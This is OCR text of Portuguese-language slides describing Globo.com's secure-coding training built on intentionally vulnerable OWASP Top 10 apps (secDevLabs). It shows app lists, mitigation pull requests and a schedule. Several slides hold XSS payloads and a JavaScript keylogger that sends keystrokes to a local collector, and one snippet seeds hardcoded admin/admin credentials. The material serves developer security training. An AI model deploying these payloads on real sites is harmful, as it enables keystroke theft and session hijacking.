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1. Motivacoes
2013

e Focado em treinar
desenvolvedores a encontrar

285 falhas de seguranca.
» Qualquer dado refletido pela aplicagao € um o
possivel local vulnerdvel a XSS e Focado na parte teorica das

» <input type=“text" name=“address" vulnerabilidades.

value="myxsstest">
e Realizado fisicamente ao

longo de uma semana com
20~30 desenvolvedores por
vez.

» "><seripti>alert (1) </script>

» <script>var a='myxsstest';var
b=123;</script>

» Y;alert (1l),; var=foo!’




‘ 1. Motivacoes
2019

7 ) 00pen v 15 Closed Author ~ Labels ~ Projects v Milestones ~

T 11 Parameterize query statements A1-OWASP-2017 CopyNPaste API
mitigation solution
#215 by lousander was closed on Mar 14

~1 11 Fix vulnerable code A1-OWASP-2017 CopyNPaste API mitigation solution
#203 by mbenford was closed on Feb 26

) 11 [A1][Mitigation] Fix SQL Injection A1-OWASP-2017 CopyNPaste API
mitigation solution
#182 by cristiandean was closed on Feb 20

~ 11 [A1 - Mitigation]Fix Injection problem on db A1-OWASP-2017 CopyNPaste API
mitigation solution
#168 by Gabriel903 was closed on Feb 15

~1 11 Add argument placeholder to prevent SQL injection A1-OWASP-2017 CopyNPaste API

mitigation solution

#104 by danilogila was closed on Feb 5

71 17 fix: A1 A1-OWASP-2017 CopyNPaste API mitigation solution
#97 by cimello was closed on Feb 5

71 11 alfixed A1-OWASP-2017 CopyNPaste API mitigation solution &
#96 by Calegp was closed on Feb 5 « Approved

1 1 Mitigation a1 owasp A1-OWASP-2017 CopyNPaste API mitigation solution

Reviews ~ Assignee v Sort ~

(mE

Focado em treinar
desenvolvedores a corrigir
falhas de seguranca.

Focado na parte pratica das
vulnerabilidades.

Realizado on-line e com a
velocidade disponivel pelos
desenvolvedores.



‘ 2. Planejamento do treinamento

-

A1:2017-
Injection

o Y
A2:2017-Broken
Authentication
\ 5
=

A3:2017-
Sensitive Data
Exposure

A4:2017-XML
External
. Entities (XXE)

A5:2017-Broken
Access Control

———————

A6:2017-Security
Misconfiguration

A7:2017-
Cross-Site

 Scripting (XSS)

Deserialization

<
A8:2017- ’

(" A9:2017-Using
Components
with Known

Vulnerabilities

A10:2017-
Insufficient

Logging &
Monitoring

Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent
to an interpreter as part of a ‘command or query. The attacker’s hostile data can trick the
into i or data without proper authorization.

related to
allowing to
other Implemematlon flaws to assume other users"

and session
keys, or session tokens, or to exploit
or .

Many web applications and APIs do not properly protect sensitive data, such as financial,
healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit
card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra
protection, such as encryption at rest or in transit, and requires special precautions when
exchanged with the browser.

Many older or poorly configured XML processors evaluate external entity references within XML
documents. External entities can be used to disclose internal files using the file URI handler,
internal file shares, internal port scanning, remote code execution, and denial of service attacks.

Restrictions on what authenticated users are allowed to do are often not properly enforced.
Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access
other users' accounts, view sensitive files, modify other users’ data, change access rights, etc.

Security is the most seen issue. This is commonly a result of insecure

default ions, i or ad hoc open cloud storage, misconfigured

HTTP headers and verbose error i ion. Not only must all
libraries, and be securely but they must

be pa(ehed and upgradad in a timely fashion.

XSS flaws occur an includes data in a new web page without
proper validation or escaping, or updates an existing web page with user-supplied data using a
browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the
victim’s browser which can hijack user sessions, deface web sites, or redirect the user to
malicious sites.

Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not
result in remote code execution, they can be used to perform attacks, including replay attacks,
injection attacks, and privilege escalation attacks.

Companents such as llbranes frameworks, and other soﬂware modules, run with the same

as the Ifa such an attack can facilitate
serious data loss or server takeover. Applications and APIs using components with known
and enable various attacks and impacts.

Insufficient logging and monitoring, coupled with missing or ineffective integration with incident
response, allows attackers to further attack systems, maintain persistence, pivot to more systems,
and tamper, extract, or destroy data. Most breach studies show time to detect a breach is over
200 days, typically detected by external parties rather than internal processes or monitoring.

O curso apresenta aplicacoes
Intencionalmente vulneraveis
criadas pelo Time de Seguranca da
Globo.com baseadas no OWASP
Top 10 2017.



‘ 2. Planejamento do treinamento

OWASP Top 10 (2017) apps:

Disclaimer: You are about to install vulnerable apps in your machine! (S

Vulnerability Language Application
A1 - Injection Golang CopyNPaste API
A2 - Broken Authentication Python Saidajaula Monster Fit
A2 - Broken Authentication Golang Insecure go project
A3 - Sensitive Data Exposure Golang SnakePro
A4 - XML External Entities (XXE) PHP ViniJr Blog
A5 - Broken Access Control Golang Vulnerable Ecommerce API
AB - Security Misconfiguration PHP Vulnerable Wordpress Misconfig
AB - Security Misconfiguration NodeJS Stegonography
A7 - Cross-Site Scripting (XSS) Python Gossip World
A8 - Insecure Deserialization Python Amarelo Designs
A9 - Using Components With Known Vulnerabilities =~ PHP Cimentech
A10 - Insufficient Logging & Monitoring Python Gameslrados.com

https://github.com/globocom/secDevlLabs



2. Planejamento do treinamento

AAAAAAAAAAAAAAAAAAAA SnakePro

Saidajaula Monstro Fit

Voceé vai ser um verdadeiro
MONSTRO!

Last gossips Search

I'M VINICIUS JUNIOR.]

Chico Buarque buy baguettes for snack
Flamengo, Brazil, Real Madrid

The singer and composer was dressed in shorts, T-shirts and slicpers
sdong the atreets of Leblon, South Zone of Rio

tvasts =



‘ 3. Como funciona a dindmica?

Apresentacao do tépico

‘ Agenda - A6 - Security Misconfiguration

Do que se trata?
Exemplos

Como se proteger?
Stegonography

o O D=




‘ 3. Como funciona a dindmica?

Acesso a aplicacao vulneravel

_ e A x

<) - C @ @ localhost:3001/gossip e & | | Q search N @ | =

Gossip World

Last gossips Search

<script>alert(1);</script> m

Chico Buarque buy baguettes for snack

The singer and composer was dressed in shorts, T-shirts and slippers
along the streets of Leblon, South Zone of Rio

Posted on 2019-01-21 by vitoria

€« Older Newer >

Copyright ® Gossip World 2018




3. Como funciona a dindmica?

Narrativa de ataque

_ SRR » 3

o cC @ (i} localhost:3001/newgossip v @0

Gossip World

New gossip

Caetano Veloso is tired: '| parked in Leblon twice'

The singer remembered the famous meme

<script>
var k="";
document.onkeypress=function(e) {
e = e || window.event;|
k+=e.key;
var i=new Image;
Lsre="http:/flocalhost:1232/"+k;
)
<[script>

GO!




3. Como funciona a dindmica?

Como voce corrigiria as vulnerabilidades?

@ = error.html Js index.js X

MongoClient.connect(url, function(err, db) {
if (err) throw err;
var dbo = db.db("stego");
var myobj = { username: "admin", password: "admin" };
.collection("users").insertOne(myobj, function(err, res) {
if (err) throw err;
console.log("Admin user added to the database");
db.close();
});
1)

router.get("/login", f
res.render("login.html");

)]

router.post("/login", function(req,res) {
var username = req.body.user.name;
var password = req.body.user.password;

¢. function VerifiesUser(callback) {
MongoClient.connect(url, function(err, db) {
Pmaster* S ©0A O Python2.7.15 - You,21daysago  Ln74,Col52 Spaces:4 UTF-8 LF JavaScript @ A




‘ 3. Como funciona a dindmica?

Pull Request com sua mitigacao!

£ globocom / secDevLabs @uUnwatch~ 5  duUnstar 8 @ YFork 7

<> Code 1) Issues 1 i Pull requests 1 Il Projects 0 =5 Wiki 1 Insights 1} Settings

[A10][Mitigation] Add application logs. #45 Edit

WY=Ll Chavao wants to merge 6 commits into globocom:master from Chavao:mitigation-al@

t&J Conversation 6 0 Commits 6 ¥ Checks 0 Files changed 2 +50 -5 mmEN
. Chavao commented 25 days ago Member +(%) - Reviewers
@ rafaveira3 v
No description provided. = vitoriario %
# 2
/ Assignees

- = No one—assign yourself
L‘ﬂ Chavao added some commits 25 days ago

. [A10] Return success message True only if the user_password is not 8be8700  Labels
em.. e —
mitigation solution
. [A10] Add log message to login attempt - deelead  review requested s s
B (710) Add t0g message to insert coupon. 135e2cc
Projects

© i T T
@ rafaveira3 added the 'review requested . .| label 25 days ago Neki vk




4. Resultados dentro da Globo.com

L globocom / secDevLabs @Watch~ 4  %uUnstar 42  YFork 21

<> Code ) lssues 5 i1 Pull requests 8 "l Projects 0 EE Wiki i1 | Security lili Insights 1+ Settings

Filters ~ is:pr is:closed label:"mitigation solution & " © Labels 30 == Milestones 0 New pull request

Clear current search query, filters, and sorts

i1 0 Open| v 116 Closed Author ~ Labels ~ Projects ~ Milestones ~ Reviews ~ Assignee ~ Sort ~
i1 Add logging to main routes A10-OWASP-2017 Gamesirados.com J5

mitigation solution
#225 by lousander was closed on Mar 29 « Changes requested

1 Update drupal version from 7.57 to 7.58 A9-OWASP-2017 Cimentech 31
mitigation solution
#224 by lousander was closed on Mar 27 « Approved

O n Vulnerability a8 A8-OWASP-2017 Amarelo Designs mitigation solution [ds
#223 by lousander was closed on Mar 26 « Approved







‘ 5. Abordagem GTS 33




5. Abordagem GTS 33

-

~

8:30-10:30 hrs

A3 - Sensitive Data
Exposure

A4 - External
Entities (XXE)

-

~

10:30-12:30 hrs

A5 - Broken Access
Control

A6 - Security
Misconfiguration

A7 - Cross Site
Scripting (XSS)

/

-

~

14:00-15:30 hrs

A9 - Using
Components with
Known
Vulnerabilities

A10 - Insufficient
Logging &
Monitoring

/

16:00-18:00 hrs

A2 - Broken
Authentication

A1 - Injection

A8 - Insecure
Deserialization

/
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